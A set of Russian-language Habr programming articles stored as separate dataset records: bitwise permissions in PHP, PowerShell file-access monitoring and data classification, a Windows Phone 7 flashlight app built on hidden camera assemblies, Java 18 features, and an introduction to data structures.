Если нужно дать все права кроме одного или нескольких, то можно воспользоваться следующими операторами.
```
$user_perm = U_ALL ^ U_DELETE; // все права кроме удаления
$user_perm = U_ALL & ~ U_DELETE; // все права кроме удаления, в данном случае 2 оператора
```
Разница между этими вариантами в том, что в первом случае просто переключается бит, если был 1, то станет 0, и наоборот. Второй же вариант делает бит равным 0, независимо от его текущего значения.
##### Проверка значения бита
Выставлять биты мы уже научились, теперь рассмотрим как же их использовать, т.е. проверять значение. Для проверки наличия прав доступа используем побитовый оператор **И**.
```
if($user_perm & U_READ) // есть ли право чтения?
```
Можно проверять значения сразу нескольких бит, к примеру
```
if($user_perm & ( U_READ | U_DELETE )) // есть ли право чтения и/или удаления
```
##### Сброс бита
Если мы хотим убрать какое-нибудь право доступа, то пишем так
```
$user_perm &= ~ U_DELETE; // запретить удаление
```
#### Послесловие
Если вернуться к проверке ошибок. То примеры из начала статьи, можно заменить на:
```
if($error['type'] & ( E_ERROR | E_PARSE | E_COMPILE_ERROR )) {…}
```
P.S.: В принципе, аналогично битовые операторы работают и в других язык, просто в статье сами примеры на PHP.
И еще пару ссылок по теории:
[Wikipedia](http://ru.wikipedia.org/wiki/%D0%91%D0%B8%D1%82%D0%BE%D0%B2%D1%8B%D0%B5_%D0%BE%D0%BF%D0%B5%D1%80%D0%B0%D1%86%D0%B8%D0%B8)
[Документация PHP](http://www.php.net/manual/ru/language.operators.bitwise.php) | https://habr.com/ru/post/134557/ | null | ru | null |
# Применение PowerShell для ИТ-безопасности. Часть III: бюджетная классификация
Последний раз с помощью нескольких строк кода PowerShell я запустил совершенно новую категорию программного обеспечения — анализ доступа к файлам. Мои 15 минут славы почти закончились, но я смог отметить, что PowerShell предоставляет практические возможности для мониторинга событий доступа к файлам. В этой заметке я завершу работу над инструментом анализа доступа к файлам и перейду к классификации данных PowerShell.
**Аналитика на основе событий**
Хочу напомнить, что в своем скрипте анализа для просмотра событий доступа к файлам в определенной папке я использовал командлет Register-WmiEvent. Также я создал мифическое эталонное значение для интенсивности событий, чтобы сравнивать с ним текущие данные. (Для тех, кто основательно этим интересуется, есть целая область средств измерения таких показателей — посещения веб-сайтов, звонки в центр телефонного обслуживания, поток людей у кофемашин, и первым это начал изучать вот этот парень.)
Когда число доступов к файлам превышает стандартные показатели, я запускал программно создаваемое событие, которое вызывается другой частью кода и отображает информационную панель анализа доступа к файлам.
Этот запуск осуществляется командлетом New-Event, который позволяет отправлять событие вместе с другой информацией получателю. Для чтения данных о событии есть командлет WMI-Event. В роли получающей стороны может быть даже другой скрипт, поскольку оба командлета событий используют одинаковый идентификатор SourceIdentifier — в нашем случае это Bursts.
Это все основные идеи в отношении операционной системы: фактически, PowerShell обеспечивает простую систему передачи сообщений. И довольно успешно, все-таки мы используем просто подающий сигналы командный язык.
Как бы то ни было, далее представлен удивительный полный код.
```
1. $cur = Get-Date
2. $Global:Count=0
3. $Global:baseline = @{"Monday" = @(3,8,5); "Tuesday" = @(4,10,7);"Wednesday" = @(4,4,4);"Thursday" = @(7,12,4); "Friday" = @(5,4,6); "Saturday"=@(2,1,1); "Sunday"= @(2,4,2)}
4. $Global:cnts = @(0,0,0)
5. $Global:burst = $false
6. $Global:evarray = New-Object System.Collections.ArrayList
7.
8. $action = {
9. $Global:Count++
10. $d=(Get-Date).DayofWeek
11. $i= [math]::floor((Get-Date).Hour/8)
12.
13. $Global:cnts[$i]++
14.
15. #event auditing!
16.
17. $rawtime = $EventArgs.NewEvent.TargetInstance.LastAccessed.Substring(0,12)
18. $filename = $EventArgs.NewEvent.TargetInstance.Name
19. $etime= [datetime]::ParseExact($rawtime,"yyyyMMddHHmm",$null)
20.
21. $msg="$($etime)): Access of file $($filename)"
22. $msg|Out-File C:\Users\bob\Documents\events.log -Append
23.
24.
25. $Global:evarray.Add(@($filename,$etime))
26. if(!$Global:burst) {
27. $Global:start=$etime
28. $Global:burst=$true
29. }
30. else {
31. if($Global:start.AddMinutes(15) -gt $etime ) {
32. $Global:Count++
33. #File behavior analytics
34. $sfactor=2*[math]::sqrt( $Global:baseline["$($d)"][$i])
35.
36. if ($Global:Count -gt $Global:baseline["$($d)"][$i] + 2*$sfactor) {
37.
38.
39. "$($etime): Burst of $($Global:Count) accesses"| Out-File C:\Users\bob\Documents\events.log -Append
40. $Global:Count=0
41. $Global:burst =$false
42. New-Event -SourceIdentifier Bursts -MessageData "We're in Trouble" -EventArguments $Global:evarray
43. $Global:evarray= [System.Collections.ArrayList] @();
44. }
45. }
46. else { $Global:burst =$false; $Global:Count=0; $Global:evarray= [System.Collections.ArrayList] @();}
47. }
48. }
49.
50. Register-WmiEvent -Query "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'CIM_DataFile' and TargetInstance.Path = '\\Users\\bob\\' and targetInstance.Drive = 'C:' and (targetInstance.Extension = 'txt' or targetInstance.Extension = 'doc' or targetInstance.Extension = 'rtf') and targetInstance.LastAccessed > '$($cur)' " -sourceIdentifier "Accessor" -Action $action
51.
52.
53. #Dashboard
54. While ($true) {
55. $args=Wait-Event -SourceIdentifier Bursts # wait on Burst event
56. Remove-Event -SourceIdentifier Bursts #remove event
57.
58. $outarray=@()
59. foreach ($result in $args.SourceArgs) {
60. $obj = New-Object System.Object
61. $obj | Add-Member -type NoteProperty -Name File -Value $result[0]
62. $obj | Add-Member -type NoteProperty -Name Time -Value $result[1]
63. $outarray += $obj
64. }
65.
66.
67. $outarray|Out-GridView -Title "FAA Dashboard: Burst Data"
68. }
```
Пожалуйста, не бейте свой ноутбук во время просмотра.
Я понимаю, что продолжаю показывать отдельные представления таблиц и есть более подходящие способы обработки графики. С помощью PowerShell у вас есть доступ ко всей платформе .NET Framework, поэтому можно создавать объекты — списки, диаграммы и т. д., — получать к ним доступ, а затем обновлять при необходимости. Пока я оставлю это для вас в качестве домашнего задания.
**Классификация играет очень важную роль в обеспечении безопасности данных**
Давайте отложим мониторинг событий файлов и рассмотрим тему классификации данных в PowerShell.
В компании [Varonis](https://www.varonis.com/ru) мы по объективным причинам используем принцип «осведомленности о ваших данных». Чтобы разработать полезную программу защиты данных, одним из первых этапов должно быть изучение того, где расположены критически важные или конфиденциальные данные — номера кредитных карт, адреса заказчиков, конфиденциальные юридические документы, проприетарный код.
Целью, конечно, является защита ценных цифровых данных компании, но сначала их следует определить их состав. Кстати, это не просто хорошая идея, множество законов и нормативов по защите данных (например, HIPAA), а также промышленные стандарты (PCI DSS) требуют идентификации активов при реальной оценке рисков.
У PowerShell большой потенциал для использования в приложениях классификации данных. Может ли PS непосредственно получать доступ к файлам и считывать их? Да. Может ли он выполнять сравнение по образцу для текста? Да. Может ли он делать это эффективно в больших масштабах? Да.
Нет, скрипт классификации PowerShell, который я получил в конечном итоге, не заменит Varonis Data Classification Framework. Но для сценария, который я подразумевал, — ИТ-администратор, которому требуется следить за папкой с конфиденциальными данными, — мой пробный скрипт PowerShell показывает не просто удовлетворительный результат, его можно оценить, скажем, на 4 с плюсом!
**WQL и CIM\_DataFile**
Давайте вернемся к языку WQL, который я упоминал в первой заметке о мониторинге событий.
Так же, как я использовал этот язык запросов для поиска событий файлов в каталоге, я могу изменить этот скрипт, чтобы получить список всех файлов из заданного каталога. Как и раньше, я использую класс CIM\_DataFile, но в этот раз мой запрос затрагивает саму папку, а не связанные с ней события.
```
1. $Get-WmiObject -Query "SELECT * From CIM_DataFile where Path = '\\Users\\bob\\' and Drive = 'C:' and (Extension = 'txt' or Extension = 'doc' or Extension = 'rtf')"
```
Превосходно! Эта строка кода будет выдавать массив с именами путей к файлам.
Для считывания содержимого каждого из файлов в переменную в PowerShell предоставляется командлет Get-Content. Спасибо Microsoft.
Мне нужна еще одна составляющая для моего скрипта — сопоставление с образцом. Неудивительно, что в PowerShell есть стандартный модуль выражений. Для моих целей это является избыточным, но я однозначно сэкономлю время.
При разговоре со специалистами по безопасности они часто говорили мне, что компаниям следует явно отмечать документы или презентации с производственной или конфиденциальной информацией соответствующим образом — например, словом «секретный» или «конфиденциальный». Это является рекомендацией и очевидно помогает в процессе классификации данных.
В моем скрипте я создал хеш-таблицу PowerShell с возможными маркирующими текстами и соответствующим регулярным выражением для сопоставления. Для документов, которые явным образом не отмечены таким способом, я также добавил специальные имена проектов — в моем случае, snowflake — которые также проверяются. А для отбрасывания я добавил регулярное выражение для номеров социального страхования.
Блок кода, который я использовал для чтения и сопоставления с образцом, приведен ниже. Имя файла для считывания и проверки передается как параметр.
```
1. $Action = {
2.
3. Param (
4.
5. [string] $Name
6.
7. )
8.
9. $classify =@{"Top Secret"=[regex]'[tT]op [sS]ecret'; "Sensitive"=[regex]'([Cc]onfidential)|([sS]nowflake)'; "Numbers"=[regex]'[0-9]{3}-[0-9]{2}-[0-9]{3}' }
10.
11.
12. $data = Get-Content $Name
13.
14. $cnts= @()
15.
16. foreach ($key in $classify.Keys) {
17.
18. $m=$classify[$key].matches($data)
19.
20. if($m.Count -gt 0) {
21.
22. $cnts+= @($key,$m.Count)
23. }
24. }
25.
26. $cnts
27. }
```
**Великолепная поддержка многопоточности**
Я могу упростить свой проект, взяв представленный выше код, добавив связующие элементы и запустив результат через командлет Out-GridView.
Есть мысль, которую я хочу донести. Даже в одной папке в корпоративной файловой системе могут быть сотни и даже тысячи файлов.
Вы на самом деле хотите ждать, пока скрипт последовательно прочитает каждый файл?
Конечно, нет!
Приложения, где осуществляется ввод-вывод для большого количества файлов, как в случае классификации, хорошо подходят для многопоточной обработки — можно параллельно запустить множество действий с файлами, тем самым значительно сократив время получения результата.
PowerShell обладает практически пригодной (хотя и неуклюжей) системой фоновой обработки, известной как Jobs. Но есть также поразительная и изящная функция с поддержкой многопоточности — Runspaces.
После некоторых манипуляций и заимствования кода у нескольких пионеров в использовании Runspaces я был действительно впечатлен.
Runspaces позволяет обрабатывать всю запутанную механику синхронизации и параллелизма. Это не то, что можно быстро понять, и даже блогеры Scripting Guys, сотрудничающие с Microsoft, еще только разбираются в этой многопоточной системе.
Как бы то ни было, я смело продолжил двигаться вперед и использовал Runspaces для параллельного чтения файлов. Далее представлена часть кода для запуска потоков: для каждого файла в каталоге я создал поток, который запускает указанный выше блок скрипта, возвращающий совпадающие шаблоны в массив.
```
1. $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, 5)
2.
3. $RunspacePool.Open()
4.
5. $Tasks = @()
6.
7.
8. foreach ($item in $list) {
9.
10. $Task = [powershell]::Create().AddScript($Action).AddArgument($item.Name)
11.
12. $Task.RunspacePool = $RunspacePool
13.
14. $status= $Task.BeginInvoke()
15.
16. $Tasks += @($status,$Task,$item.Name)
17. }
```
Давайте сделаем глубокий вдох — мы рассмотрели много материала.
В следующей заметке я представлю полный скрипт и обсужу некоторые (неприятные) подробности. Тем временем, после присвоения некоторым файлам текста отметки, я создал следующий вывод с помощью Out-GridView.
Классификация содержимого практически даром!
В то же время следует подумать о том, как соединить друг с другом два скрипта: скрипт мониторинга активности файлов и скрипт классификации, который представлен в этой заметке.
Все-таки скрипт классификации должен передавать данные о том, что стоит отслеживать в скрипте активности файлов, а скрипт активности в теории может сообщать скрипту классификации, когда создается новый файл, чтобы его можно было классифицировать — иными словами, реализовать систему добавления данных.
Звучит так, как будто я предлагаю, не побоюсь этого слова, платформу контроля безопасности на основе PowerShell. Мы начнем работу над осуществлением этого в следующий раз. | https://habr.com/ru/post/338166/ | null | ru | null |
# Фонарик для Windows Phone 7
Предисловие
-----------
Купил себе виндофон и решил попробовать написать что-нибудь под него, тем более, что с .NET знаком по роду деятельности. Идею подсказал товарищ с android-приложением фонарик, источником света которого являлась LED вспышка.
Первое решение
--------------
Почитал [msdn](http://msdn.microsoft.com/en-us/library/hh202949(v=VS.92).aspx), все показалось просто. Создаем объект `Microsoft.Devices.PhotoCamera`; смотрим, поддерживает ли наше устройство фото-вспышку; если поддерживает, то переключаем `PhotoCamera.FlashMode`, по нажатию кнопки. Как сказал бы Ливанов: «Элементарно, Ватсон!». Но не тут-то было.
Первый момент, который меня озадачил — инициализация камеры. Просто создать объект `Microsoft.Devices.PhotoCamera` не достаточно. Для этих целей, в уже знакомой статье на [msdn](http://msdn.microsoft.com/en-us/library/hh202949(v=VS.92).aspx), используется установка созданного объекта камеры в качестве источника для `VideoBrush`. Это излишняя нагрузка, как мне кажется, но других способов я не нашел (может кто-то из читающих подскажет). К слову сказать, плотно и не искал, ибо мною двигала другая цель.
А вот второй момент поставил в тупик описываемый вариант решение. В результате, по нажатию кнопки, мы видим, что дисплей подсвечивается, а LED-вспышка работать не желает. Чтож, печалька.
Второе решение
--------------
Начинаем копать дальше… С удивлением узнаю у гугла, что ребята из Microsoft скрыли от непросвещенных некоторые сборки (вот негодяи).
Нашел умельца на [codeproject](http://www.codeproject.com/Articles/151485/Hacking-the-WP7-Camera-The-basics), который хакнул камеру WP7 с помощью скрытых от посторонних глаз возможностей. Но не столь интересен сам пост, сколько ссылки, которые он предоставляет в общее пользование. Идея состоит в том, что бы, как описано в [Tom's blog](http://thounsell.co.uk/2010/11/avoiding-reflection-adding-the-interopservices-library-to-the-wp7-sdk/), сделать необходимые сборки доступными и воспользоваться для подсветки, как советует [Clarity Consulting Blog](http://blogs.claritycon.com/kevinmarshall/2010/12/23/wp7-camera-access-flashlight-augmented-reality-and-barcode-scanning/), `Microsoft.Devices.VideoCamera`.
Реализация
----------
Итак, информации более чем достаточно, приступим к делу. В [Tom's blog](http://thounsell.co.uk/2010/11/avoiding-reflection-adding-the-interopservices-library-to-the-wp7-sdk/) говориться, что легче всего достать необходимые сборки из «Emulator BIN» или [скачать](http://ifolder.ru/29320427) его собственный дамп. Что такое «Emulator BIN» я не понял и долго заморачиваться не стал, воспользовался его наработкой. Берем из архива *GAC\_Microsoft.Phone.Media.Extended\_v7\_0\_0\_0\_cneutral\_1.dll* и, чтобы нам легче было добавлять ссылки в следующий раз на эту сборку, копируем в папку "*C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\Silverlight\v4.0\Profile\WindowsPhone71*" (нужны права администратора) с именем *Microsoft.Phone.Media.Extended.dll*. Естественно, у кого ОС стоит на другом разделе или не 64-разрядная, будут небольшие вариации.
Затем открываем папку с именем *RedistList* (она лежит в той же директории, что и скопированный только что файл), а в ней файл *FrameworkList.xml*. Его нужно отредактировать (я это делал в фаре, ибо папка со специфическими правами доступа). Копируем произвольный узел File, например для *AssemblyName=«Microsoft.Phone.Interop»*, удаляем во вновь скопированном узле PublicKeyToken и меняем AssemblyName на *Microsoft.Phone.Media.Extended*.
Теперь нужно открыть visual studio command prompt и выполнить команду `sn -Vr Microsoft.Phone.Media.Extended.dll`, иначе у нас при построении проекта с этой сборкой будут ошибки.
Теперь самое приятное — создание приложения. Достаточно создать обычный Silverlight проект для WP7 и добавить сборку *Microsoft.Phone.Media.Extended*. В нем будет довольно простенькая разметка, единственное, что здесь достойно внимания, так это контрол CameraVisualizer, он отображает захваченное с камеры изображение (но мы-то помним, что он нам нужен только для инициализации объекта камеры). И чтобы нас не отвлекала картинка на дисплее установим этому элементу полную непрозрачность.
Вот разметка
```
```
Так же интересным фактором является то, что в коде необходимо указать на необходимость использовать LED вспышку `_videoCamera.LampEnabled = true;` и то, что фонарик начинает работать только во время записи с камеры. Точнее говоря, самой записи не будет, то есть поток данных не будет занимать физического пространства.
```
using System.Windows;
using Microsoft.Phone;
namespace PhoneApp1
{
public partial class MainPage
{
private VideoCamera _videoCamera;
public MainPage()
{
InitializeComponent();
}
protected override void OnNavigatedTo(System.Windows.Navigation.NavigationEventArgs e)
{
base.OnNavigatedTo(e);
InitializeCamera();
}
protected override void OnNavigatedFrom(System.Windows.Navigation.NavigationEventArgs e)
{
base.OnNavigatedFrom(e);
_videoCamera.Dispose();
_videoCamera = null;
}
private void InitializeCamera()
{
_videoCamera = new VideoCamera(); // Создание объекта камеры
_videoCamera.Initialized += VideoCameraInitialized;
_cameraVisualizer.SetSource(_videoCamera);// Инициализация объекта камеры
}
void VideoCameraInitialized(object sender, System.EventArgs e)
{
_videoCamera.Initialized -= VideoCameraInitialized;
_videoCamera.LampEnabled = true; // Да будет свет!!!
Dispatcher.BeginInvoke(() => { _btnFlash.IsEnabled = true; });
}
private void ButtonClick(object sender, RoutedEventArgs e)
{
// Когда идет запись, фонарик работает. При прекращении записи, он отключается.
if (_videoCamera.IsRecording)
_videoCamera.StopRecording();
else
_videoCamera.StartRecording();
}
}
}
```
PS: Конструктивная критика в адрес первого топика и моего стиля изложения приветствуется.
Используемые источники
----------------------
1 [msdn](http://msdn.microsoft.com/en-us/library/hh202949(v=VS.92).aspx)
2 [codeproject](http://www.codeproject.com/Articles/151485/Hacking-the-WP7-Camera-The-basics)
3 [Tom's blog](http://thounsell.co.uk/2010/11/avoiding-reflection-adding-the-interopservices-library-to-the-wp7-sdk/)
4 [Clarity Consulting Blog](http://blogs.claritycon.com/kevinmarshall/2010/12/23/wp7-camera-access-flashlight-augmented-reality-and-barcode-scanning/)
5 [xda-developers](http://forum.xda-developers.com/showth2ead.php?p=19188975)
**UPD** Дамы и господа, я прекрасно понимаю, что статья кому-то понравилась, кому-то нет. Но в личку пишут только те, кто положительно отнеслись к посту в целом, но имеют замечания по тем или иным моментам. Убедительная просьба — если минусуете, оставляйте отзыв что не понравилось. Для меня важно на первом этапе понять, что я делаю не так. | https://habr.com/ru/post/133968/ | null | ru | null |
# Java 18. Что нового добавили, и почему вам это пригодится
### Много интересных фич
Выход Java 18 назначен на 22 марта 2022 года, ждать осталось недолго. Релиз уже несколько дней находится во второй фазе стабилизации, а значит, список фич уже финализирован, а значит настало время обратить на них наше внимание.
Важно понимать, что версии, которые выходят между LTS-релизами, в частности помогают опробовать новые возможности и посмотреть, зайдут ли они комьюнити. Бизнесы, если решат обновляться, будут чаще всего ждать полноценной многолетней поддержки. Поэтому в 18-й версии будет несколько JEP в виде превью и инкубаторов, которые разработчики будут тестировать и давать обратную связь. И уже в готовом виде эти улучшения войдут в 22-ю версию Java.
Сейчас у нас есть возможность попробовать новый функционал и понять, насколько он полезен. А пробовать есть что!
В этой статье мы рассмотрим новые JEP и объясним, что они делают, и для чего они нужны.
### Новые фичи в Java 18
#### JEP 400: Использование UTF-8 по умолчанию
**Что это такое:** Многие API (включая стандартные Java API) используют в приложениях так называемый “набор символов по умолчанию”. Какой именно 一 зависит от платформы, будь это Windows, Linux, Mac и другие ОС. Более того, та же кодировка использовалась для сохранения исходных .java файлов .
С 18-й Java [по умолчанию всегда используется UTF-8](https://openjdk.java.net/jeps/400).
**Зачем это нужно:** В некоторых случаях (особенно, когда это касалось азиатских языков и иероглифов), одно и то же приложение, запущенное разными пользователями (даже на одной машине), могло привести к искажению текста. Если виртуальная машина считает кодировкой “по умолчанию” UTF-8, а программа написана в, например, UTF-16, то это может превратить выдаваемый текст в абракадабру, или даже повлиять на работу компилятора javac.
Об этом, кстати, стоит помнить при миграции с ранних версий Java™, которая, возможно, потребует перекодировки исходных файлов.
Но начиная с 18-й версии эта проблема исчезнет. А при необходимости всегда есть возможность установить другую кодировку по умолчанию вручную.
#### JEP 408: Простой Web Server
**Что это такое:** В Java появится [легковесный веб-сервер](https://openjdk.java.net/jeps/408), который можно будет запустить с помощью простой команды $ jwebserver
**Зачем это нужно:** Для тестирования, прототипирования и обучения. Встроенный сервер, конечно, не предназначен для замены промышленных веб-серверов в конечном продукте. Зато теперь нет необходимости в их настройке только для того, чтобы проверить, работает ли бизнес-логика. Можно программно создавать новые и кастомизировать имеющиеся обработчики адресов.
#### JEP 413: Кусочки кода в документации Java API
**Что это такое:** Добавляется [новый тег @snippet](https://openjdk.java.net/jeps/413), который используется в комментариях к коду. Если пометить им часть комментария, то компилятор будет валидировать его и оформлять как если бы это был реальный код.
**Зачем это нужно:** Для вашего удобства! Код в комментариях может содержать кучу ошибок, связанных с человеческим фактором 一 в первую очередь, опечатками. Конечно, компилятор не сможет превратить плохой код в хороший, но про отсутствующую скобку напомнит. А хорошие читаемые комментарии могут сэкономить часы работы при анализе чужого, да и своего кода.
#### JEP 416: Новая реализация Core Reflection через MethodHandle
**Что это такое:** [Механизм рефлексии переписан](https://openjdk.java.net/jeps/416) поверх MethodHandle-ов, которые заменяют генерацию байткода для Method::invoke, Constructor::newInstance, Field::get и Field::set.
**Зачем это нужно:** Для безопасности и скорости, а также разработки project Valhalla. До этого использовалось три механизма java.lang.reflect API: нативные методы виртуальной машины, динамически генерируемые байткод-стабы в сочетании с доступом к полям через Unsafe, и, собственно, method handles. Такое разнообразие сложно поддерживать при добавлении новых фич, таких как примитивные классы и дженерики с поддержкой примитивов.
Теперь механизм с использованием нативных методов используется только на раннем этапе запуска виртуальной машины. Для улучшения производительности рефлексии в горячем коде рекомендуется хранение экземпляров Method, Constructor и Field в static final полях, чтобы JIT оптимизировал их как константы.
#### JEP 417: Vector API (третий инкубатор)
**Что это такое:** [Vector API](https://openjdk.java.net/jeps/417), представленный в Java 16, помогает существенно повысить производительность приложений в некоторых случаях. Он позволяет вручную писать платформенно-независимые векторные алгоритмы на Java™, когда существующая автоматическая векторизация циклов HotSpot не срабатывает для сложного кода.
**Зачем это нужно:** Производительность некоторых вычислений в области, например, финансовых операций, машинного обучения и криптографии. Эта версия API 一 в стадии третьего инкубатора, созданного на основе отзывов сообщества. Она содержит новые функции, включая поддержку инструкций ARM Scalable Vector Extension (SVE) и повышенную эффективность векторных операций, принимающих маски на архитектурах, аппаратно поддерживающих маскирование.
#### JEP 418: Интерфейс сервис-провайдера для разрешения сетевого адреса
**Что это такое:** Сейчас для разрешения имен хостов в межсетевом протоколе (IP), в Java™ используется API java.net.InetAddress. Он, в свою очередь, использует механизм разрешения адреса через системный вызов ОС. Обычно он работает с файлом hosts в сочетании с DNS (система доменных имен).
Этот JEP внедряет [интерфейс поставщика услуг (SPI)](https://openjdk.java.net/jeps/418) и ряд новых классов, чтобы API java.net.InetAddress мог использовать другие механизмы разрешения адреса.
**Зачем это нужно:** Для тестирования, кастомизации и реализации DNS на клиенте без удержания потока операционной системы. Это позволяет, например, эффективно использовать проект Loom, в котором обработка сетевых запросов не будет препятствовать одновременной работе множества виртуальных потоков.
#### JEP 419: Foreign Function & Memory API (второй инкубатор)
**Что это такое:** Улучшение фичи, внедренной в более раннюю версию для [замены Java Native Interface (JNI) на более продвинутую модель разработки](https://openjdk.java.net/jeps/419) с использованием чисто Java™ кода. Данный JEP позволит подключать нативные библиотеки, вызвать внешние функции и получать более эффективный доступ к памяти за пределами кучи.
В режиме второй инкубации были добавлены новые носители (carriers), такие как boolean и MemoryAddress, упрощенные API для получения downcall MethodHandle-ов (Java→native) и для управления временн*ы*ми зависимостями областей видимости ресурсов. Представлен обобщенный API разыменования для MemorySegment и MemoryAddress.
**Зачем это нужно:** Для легкого взаимодействия с библиотеками, написанными на других языках. Становится возможным использовать при таком взаимодействии современные идиомы Java, например параллельные стримы при переносе данных.
#### JEP 420: Pattern Matching для switch (второй preview)
**Что это такое:** Еще одно обновление уже имеющейся фичи, которая позволяет [проверять выражения на соответствие различным образцам с определенным действием для каждого из них](https://openjdk.java.net/jeps/420). Ранее эта фича была представлена в режиме preview, а сейчас в нее внесены два улучшения.
Первое заключается в том, что проверка доминирования требует, чтобы константная метка оператора case стояла всегда перед защищенным (guarded) образцом того же типа. Благодаря этому селектор-выражение может соответствовать нескольким меткам в блоке switch. Кроме того, может использоваться любой ссылочный тип. Взгляните на этот пример:
```
static void error(Object o) {
switch(o) {
case CharSequence cs ->
System.out.println("A sequence of length " + cs.length());
case String s -> // Error - pattern is dominated by previous pattern
System.out.println("A string: " + s);
}
}
```
Если метка в блоке switch будет перекрываться меткой, поставленной ранее в данном блоке, это приведет к ошибке во время компиляции. Таким образом, в похожих ситуациях вы можете обнаружить плохо написанный код. Второе улучшение заключается в повышении эффективности проверки блоков switch на предмет полноты. В результате проверка будет более точной в запечатанных (sealed) иерархиях, где разрешенный непосредственный наследник лишь расширяет вариант обобщенного (generic) родительского класса с осуществленной подстановкой типов. Другими словами, компилятор не только помогает поддерживать код в упорядоченном состоянии, но и полностью понимает иерархии sealed классов.
**Зачем это нужно:** Как и прошлый JEP, этот сделает Java более современной. Старый синтаксис, разработанный 20 лет назад, проигрывает по удобству написания кода в сравнении с новыми языками программирования, и разработчики Java устраняют этот разрыв подобными нововведениями.
#### JEP 421: Объявление функции финализации устаревшей
**Что это такое:** Скрывается [устаревшая функция финализации](https://openjdk.java.net/jeps/421), которая была представлена еще в Java 1.0. В дальнейшем она будет полностью удалена.
**Зачем это нужно:** Финализация применялась для устранения проблем утечки внешних ресурсов, больше не используемых приложением.
Автоматическая система управления памятью должна применять сборщик мусора для того, чтобы находить недоступные объекты и освобождать их память.
На практике при работе с объектами, которые работают с ресурсами не только виртуальной машины, но и скажем операционной системы, (например, файловыми дескрипторами или блоками нативной памяти), возникает следующая проблема: при освобождении объекта связанные с ним ресурсы операционной системы не освобождаются автоматически (нужен дополнительный вызов).
Результатом становится утечка ресурса, который операционная система продолжает считать используемым.
Для борьбы с этим явлением сначала использовался явный вызов Java-методов, освобождающих внешние ресурсы объектов. Его недостаток - высокая вероятность ошибок. К тому же момент вызова может быть выбран не оптимально.
Следующим решением стала финализация, целью которой было снять с разработчика задачу гарантированного высвобождения ресурсов. Финализаторы вызываются сборщиком мусора автоматически и гарантированно освобождают ресурсы, относящиеся к неиспользуемым объектам.
На практике финализация столкнулась со множеством проблем в работе.
* Время между моментом, когда объект становится недоступным, и вызовом финализатора, могло быть длительным. Весь этот период ресурсы, которые использовал объект, остаются захваченными.
* Финализатор может сохранять ссылку на финализируемый объект, а это в свою очередь делает возможным его “воскрешение”.
* Финализатор выполняется всегда, даже когда его работа не требуется, например, при закрытии программы.
* Для работы финализаторов используются неконтролируемые потоки, и порядок выполнения финализаторов также не определен.
В результате финализаторы создавали новые проблемы безопасности, замедляли или останавливали работу программы, ненадежно исполнялись и усложняли программирование. Например, ресурсы могли освобождаться медленнее, чем захватывались, что всё равно приводило к их утечке.
Именно поэтому были разработаны альтернативные инструменты, такие как cleaner-ы с явной регистрацией объектов и интерфейс AutoCloseable в сочетании с оператором try-with-resources.
Процесс перехода займет немало времени, так как многие нативные библиотеки и сам JDK используют финализаторы, которые необходимо убрать из кода.
### Java 18, есть ли повод обновить рантайм?
Java 一 зрелый язык, но подобные нововведения обновляют ее достаточно, чтобы составить конкуренцию по удобству и функциональности более молодым языкам программирования, сохранив все богатство возможностей, мультиплатформенность и обратную совместимость.
Стоят ли они того, чтобы обновить свой рантайм до не-LTS версии? В большинстве случаев 一 нет. Но учитывая новый полугодовой цикл выпуска новых версий и скорое окончание поддержки Java 8, на которой до сих пор работает множество приложений, оно помогает смотреть в будущее с оптимизмом. Выход новой LTS-версии станет большим событием, а разработку новых программ имеет смысл начинать уже на 18-й Java, поскольку апгрейд с нее будет простым и удобным. | https://habr.com/ru/post/650289/ | null | ru | null |
# Самые популярные структуры данных
**Что такое структура данных?**
Проще говоря, структура данных — это контейнер, в котором хранятся данные в определенной компоновке (формате, или способе организации их в памяти). Эта «компоновка» позволяет структуре данных быть эффективной в одних операциях и неэффективной в других. Ваша цель — понять структуры данных, чтобы вы могли выбрать структуру данных, наиболее оптимальную для рассматриваемой проблемы.
**Зачем нам нужны структуры данных?**
Поскольку структуры данных используются для хранения данных в организованном виде, и поскольку данные являются наиболее важным элементом компьютерной науки, истинная ценность структур данных очевидна.
Независимо от того, какую проблему вы решаете, вам так или иначе приходится иметь дело с данными — будь то зарплата сотрудника, цены на акции, список покупок или даже простой телефонный справочник.
Исходя из разных сценариев, данные должны храниться в определенном формате. У нас есть несколько структур данных, которые покрывают потребность хранить данные в разных форматах.
**Обычно используемые структуры данных**
Давайте сначала перечислим наиболее часто используемые структуры данных, а затем рассмотрим их одну за другой:
* Arrays — массивы
* Stacks — стеки
* Queues — очереди
* Linked Lists — связанные списки
* Trees — деревья
* Graphs — графы
* Tries (они, по сути, деревья, но все же хорошо называть их отдельно). — очередности
* Hash Tables — хэш таблицы
**Arrays — Массивы**
Массив — это самая простая и наиболее широко используемая структура данных. Другие структуры данных, такие как стеки и очереди, являются производными от массивов.
Вот изображение простого массива размера 4, содержащего элементы (1, 2, 3 и 4).
Каждому элементу данных присваивается положительное числовое значение, называемое индексом, которое соответствует позиции этого элемента в массиве. Большинство языков определяют начальный индекс массива как 0.
Ниже приведены два типа массивов:
* Одномерные массивы (как показано выше) One-dimensional arrays
* Многомерные массивы (массивы внутри массивов) Multi-dimensional arrays
Основные операции над массивами
Вставить (Insert) — вставляет элемент по указанному индексу
Получить (Get) — возвращает элемент по указанному индексу
Удалить (Delete) — удаляет элемент по указанному индексу
Размер (Size) — получить общее количество элементов в массиве
*Для самостоятельного изучения:*
1. Найти второй минимальный элемент массива.
2. Первые неповторяющиеся целые числа в массиве.
3. Объединить два отсортированных массива.
4. Переставить положительные и отрицательные значения в массиве.
**Stacks (Стеки)**
Мы все знакомы со знаменитой опцией Undo (Отмена), которая присутствует практически в каждом приложении. Когда-нибудь задумывались, как это работает? Суть механизма в том, что вы сохраняете предыдущие состояния вашей работы (которые ограничены определенным числом) в памяти в таком порядке, что последнее действие появляется первым. Это не может быть сделано только с помощью массивов. Вот где стек и пригодится!
Реальным примером стека может быть стопка книг, расположенных в вертикальном порядке. Чтобы получить книгу, которая находится где-то посередине, вам нужно удалить все книги, помещенные поверх нее. Вот как работает метод [LIFO (Last In First Out)](https://en.wikipedia.org/wiki/LIFO).
Вот изображение стека, содержащего три элемента данных (1, 2 и 3), где 3 вверху и будет удалено первым:
Основные операции со стеками:
Протолкнуть (Push) — вставляет элемент сверху других.
Вытащить (Pop) — возвращает верхний элемент после удаления из стека.
Пустой? (IsEmpty) — возвращает истина (true), если стек пуст.
